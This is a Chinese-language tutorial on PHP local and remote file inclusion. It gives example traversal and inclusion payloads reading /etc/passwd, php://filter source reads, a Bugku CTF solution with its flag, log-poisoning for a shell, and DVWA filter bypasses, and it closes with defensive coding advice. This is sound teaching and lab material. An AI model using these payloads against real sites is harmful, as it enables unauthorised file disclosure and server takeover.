文件包含
当程序员在编写代码的过程中,由于使用PHP文件包含函数过滤不严,从而导致了文件包含漏洞。在PHP中用于文件包含的函数有四个:
- require
- require_once
- include
- includeonce
这里说一下两个函数的区别:include在包含过程中如果出现错误,会抛出一个警告,但程序正常运行;require函数出现错误的时候,会直接报错并退出程序的执行。
文件包含漏洞的一般特征如下:
- ?page=a.php
- ?home=a.html
- ?file=content
目录遍历(Directory traversal)和文件包含(File include)的一些区别:
目录遍历是可以读取web根目录以外的其他目录,根源在于web application的路径访问权限设置不严,针对的是本系统。
文件包含是通过include函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含。
几种经典的测试方法:
?file=../../../../../etc/passwdd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
(通过多个../可以让目录回到根目录中然后再进入目标目录)
编码绕过字符过滤:
可以使用多种编码方式进行绕过
%00嵌入任意位置
.的利用
向量字典:
用于目录爆破猜测,在Kali的/usr/share/wfuzz/wordlist/vulns中保存有,如:
general:目录猜解
Injections:注入
Stress:压力测试
包含上传文件:
PHP包含读文件
常见的PHP伪协议:
1.File:// 访问本地文件系统
2.http:// 访问HTTP(S)网址
3.php:// 访问各个输入/输出流
4.data:// 数据
通常情况下,当我们去包含PHP源码的时候,源码会被解析我们就都不到源代码了,这时候就可以利用读文件的方式读取到PHP源码,我们可以使用:php://filter/read = convert.base64-encode/resource=xxx.php的方式,将PHP源码以Base64编码的形式读出来:
bugku中就有一个flag在index的题
因为题目tipsflag在index里,所以发现file传值有问题
这里有一个通过php://filter读取本包含漏洞脚本的源码的问题
所以file的传值应为php://filter/read=convert.base64-encode/resource=index.php
得到一串base64编码
解码得到`
<?php
error_reporting(0);
if(!$_GET[file]){echo ‘click me? no‘;}
$file=$_GET[‘file’];
if(strstr($file,”../“)||stristr($file, “tp”)||stristr($file,”input”)||stristr($file,”data”)){
echo “Oh no!”;
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
`
PHP包含日志
当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件,思路也比较简单,当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录到日志中。这时候我们如果知道服务器的日志位置,我们可以去包含这个文件从而拿到shell,这就比较像道格第二次培训的任务拿到服务器shell。
根据后端源码包含绕过
DVWA中级难度中源码1
2
3
4
5
6
7
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
这个主要是过滤了远程文件包含和我们目录的跳转,大小写混合输入就可以绕过远程文件包含的过滤
目录跳转的过滤我们可以构造….//….//xxx.php,方式绕过,由于他只过滤一次,我们可以利用他的过滤动态拼接目录跳转,从而绕过过滤
防御安全编码
其实只要我们把包含的文件写死,不要利用变量来构造包含的文件,自然就可以避免漏洞的发生,dvwa的high里用的就是没办法包含的源码1
2
3
4
5
6
7
8
9
10
11
12
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation<br>
if( !fnmatch( "file*", $file ) && $file != "include.php" )
{
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}